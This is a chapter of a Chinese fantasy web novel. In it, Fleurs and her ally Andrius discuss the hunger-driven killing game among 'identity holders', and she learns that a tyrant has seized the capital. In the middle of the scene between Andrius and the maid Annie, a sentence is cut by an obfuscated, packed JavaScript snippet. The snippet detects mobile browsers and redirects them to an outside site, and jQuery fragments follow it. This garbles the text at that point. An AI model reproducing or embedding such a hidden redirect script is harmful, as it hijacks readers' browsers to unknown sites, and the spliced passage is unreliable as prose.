反应过来后,芙洛丝的第一感受是,真恶心。 她感到反胃。 “正如……那句话怎么说的来着,”安德留斯却显得更开心了,“‘好酒无需挂灌木枝’,我们能感受到的【同类】的气息,其实就相当于酒的气息吧?远远地闻到,会心情畅快,情不自禁想要一探究竟。随着距离越来越近,却深陷其中,难分彼此,这是为什么呢?哈哈。” 他笑得将头仰在椅背上,“那是因为我们醉了,烂醉如泥啊,哈哈哈——亲爱的,你知道为什么是饥饿,而不是其他什么感觉吗?” 芙洛丝没来得及回答,他便自顾自地说了下去,“因为,饥饿乃唯一不可忍受之事。不可忽视,不可排解,不可忍受。” 不可忽视。 不可排解。 不可忍受。 除了饥饿,其他什么都可以忍受,是这个意思吗? 芙洛丝攥了攥拳头,“安德留斯,你是什么时候觉醒的?”你是什么时候,领会到这一点的? 那双不透光的黑眼珠在薄薄的眼皮下转动了一下,无神地望着车顶。 他的嘴角还在笑,眼睛里却没有一丝情绪。 “唔,十三岁,还是十五岁?时间太久了,亲爱的,我也记不清了。” 马车还在行进。 芙洛丝梳理了一下安德留斯提供的信息。 1.【身份者】觉醒、使用能力都会饥饿 2.如果靠屠杀平民来满足口腹之欲,容易引起其他【身份者】的注意,从而被追杀 3.如果硬撑,控制自己不去使用能力,会被那个声音暴露【身份】和位置,从而被追杀 4.如果侥幸战胜了其他追杀者,但在战斗中使用能力太多,让【身份】趋于完整,也会被那个声音收回【身份】,暴露【身份】和位置,一样被追杀 5.就算不想杀人,只当被追杀的一方,总有一天也会因为不可自抑的饥饿感走上杀人的道路,然后,一样被其他人杀 这么看来,被选为【身份者】的人,不管怎么走,都只有被追杀至死的死路一条。 因为这本就是个无解的杀人游戏! 追或逃,杀或被杀,再没有其他选择。 “不啊,亲爱的,”安德留斯没什么感情地笑道,“有一条生路,唯一的一条生路,那就是——杀光所有人,直到杀到那个声音的面前。里昂·艾德里安不是说过么?神,是真实存在的。那个声音,确有其人。” “你告诉了我很多,”芙洛丝眯着眼睛审视他,“安德留斯,为什么?” “嗯,”安德留斯唇角轻扬,“因为这算不上什么秘密,你稍微多活几年,也能弄明白这是怎么一回事。况且,既然我们决定结为同盟,我很乐意给你分享一点信息。” “但这些都只是你的猜测。” “等你走到旅途的尽头,就会知道我猜得很对。” 安德留斯端正了坐姿,“说回正事,你那时候真应该把里昂·艾德里安变成【仆从】,让他起死回生,吐出实情。见过神明?他居然说自己见过神明——” 芙洛丝的脸色一下变得很不好看,安德留斯看见了,却依旧坚持往下说:“我花了整整一辈子,都没查出那个家伙的真身。他绝对是唯一一个得见真神的幸运儿。这种机会不会有第二次,我们错过了,很可惜。” 他没有表现得他说的那么可惜。他掀起车帘,“哦,派吉沃格什城,快到了。” 原野浩浩荡荡地铺开在眼前,地平线的尽头,隐隐可以见到一座座红顶的白房子和转个不停的风车。 派吉沃格什,一座规模不算很大的小城。 “亲爱的,好好休息一下吧,你看上去像一只没睡饱的猫。” “少来。”芙洛丝下意识的反应是反驳。 派吉沃格什城,到了。 大概是安德留斯一直冷嘲热讽的原因,她下马车的时候罕见地腿软了一下,好在她马上提起精神,稳稳地落了地。 “看好安德留斯,我要去办事。”她对安妮小声说道。 取信这种事当然可以让别人去办,不过,她还要去向派吉沃格什城的城主打听一个朋友的去向。那个朋友比较特别,她亲自去打听比较好。 “放心好了,”安德留斯不知道什么时候向她伸出了手,“我没有背刺盟友的习惯。既然要合作,我便会拿出十足的诚意。我向你保证,我很乖。” 差点忘了他的听力也不差,都被他听到了。 芙洛丝很不爽。 背刺盟友,真是哪壶不开提哪壶。他怎么不提后面强吻自己、吞噬雪山的事呢? 还好她很分得清大局,没有花时间在这儿和安德留斯吵嘴,只对安妮说:“对了,顺便带他去换套衣服。他这个样子,我看一眼都想吐。” “确定不要我们当中的一个跟着你吗?亲爱的?” 芙洛丝已经走远了。 安妮看安德留斯很不顺眼,但既然芙洛丝选择接纳他,她也不能多说什么。气鼓鼓地瞪了安德留斯一眼:“那就去给你买套新衣服吧,我们最好快去快回,别让殿下等我们。” “不是吧?”安德留斯抱臂看着她,目光中满是震惊,“她让你去买衣服你就去买衣服?你难道看不出来,她都烧得开始说糊涂话了吗? “你们这些人,就不能为她好好想一想吗?她是人,又不是铁打的!她先和自己的未婚夫勾心斗角了一天一夜,又和忽然冒出来的怪人决斗,然后又经历了大雪崩、大地震,最后还一命呜呼,差点归西,醒来后还连着赶了这么多天的路,一口气都没喘,她能不发烧吗? “你就不能发发一点善心,去给她买点退烧药吗?别老是想着依靠她好不好,她是人,也需要休息的!” 安德留斯太过理直气壮,安妮都被这语气戳痛了。 她忽然觉得自己一无是处,只会给芙洛丝拖后腿,身为芙洛丝的侍女,居然连芙洛丝发着高烧都看不出来…… “是啊!你身为她的侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428067|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女,居然连那么明显的事都看不出来,你太失职了。”安德留斯会心一击。 安妮陷入了深深的绝望和自暴自弃之中! ……完全忘记了芙洛丝本人都对此事毫不在意。 看着抓着头发,失魂落魄地走在前面的安妮,安德留斯朝手掌上轻轻地吹了口气。 气息触掌后又四溢而去,飘飘摇摇,摇摇飘飘,忽而挣扎出一只只透明的小翅膀。扑棱两声,一只只活泼可爱的小白鸽飞了出来。 芙洛丝走在派吉沃格什城的街道上。 她刚刚拜访了城主,“是的,我有很棘手的事想请他帮忙,我需要他,约伯·戈德温,如果你能联系到他,请让他以尽快的速度抵达王都。” 一只小白鸽停在了她的肩膀上,歪着脑袋,用小黑豆一样的眼睛瞧她。 “哦?你不怕我?”芙洛丝用手指逗了逗它。 那只小白鸽一点都不怕她,甚至还主动地蹭了蹭她。 “真可爱。” 然而,等她拆开信封,看清信件上的内容时,她的笑容消失了。 事态比安德留斯告诉她的、她自己所能想象的都要严重。 “约伯·戈德温?”安德留斯看着那只停在自己手指上的白鸽。 “喂,”他问安妮,“你主人的朋友里,有个叫约伯的吗?” 安妮并不知道他为什么要问这个问题,她是孩子性格,有问必答,便摇了摇头,“从来没听过。” 他们还在街上走着,一匹白马忽然冲了出来,蹄声如雷,道上行人躲避不及,连连抱怨。 骑着白马的,正是芙洛丝。 “我们得抓紧时间回去了。” 她深深地看了一眼安德留斯,“你说得没错。” 她得到密信,王都那个家伙疯了。他绑架了老国王,清除了一切忠于国王的党派,光是这一举动,就牵连了三千人的性命。 而他登基为王的第一件事,就是在王都附近建造一圈五十米高的纯金围墙,将整座城市划做他的宫殿。 他挨家挨户地搜查金子,凡是不能交出等重于自身体重的金子的平民,都遭到了屠杀。 而对于那些高管贵族,每爵加一等,所要求的金子重量便翻上十倍。 曾经车水马龙、繁华无俩的都城变为了恐怖乐园,处处都笼罩在恐怖的氛围下。 芙洛丝每看完一行,心里就咯噔一下。 作为国王来讲,老头资质平庸,还很容易感情用事,真不知道他现在是死是活。而关于他,信上再没有其他信息…… 安德留斯也简单看了一下那密信。 王都从昨天开始就禁止外人进入了,这些信息,还都是听从王都逃难出来的人口述的。 “亲爱的,看来,为了你的父亲,你是非回去面对这个纵火犯不可了。但是,你怎么靠近王都呢?我还没有消化完山的力量,又虚弱,控制冰雪又不稳定。而且那家伙的火焰不一定是凡火,他能将火焰操纵到何种程度,又有什么隐藏的能力,我们一无所知。” 是的。芙洛丝也不得不承认这一点,如果约伯不能前来赴约,她连接近王都这么简单的事都做不到。 “办法路上再想,”芙洛丝烦躁地皱了下眉头,“现在,我们得先赶过去。” “如果你连这都解决不了的话,”谁知安德留斯举起手,后退两步,“这件事,我退出。” 芙洛丝惊了。 只听安德留斯继续道:“是的,亲爱的,我现在是你的盟友,但盟友没有陪你送死的义务。我希望你能认清这一点。”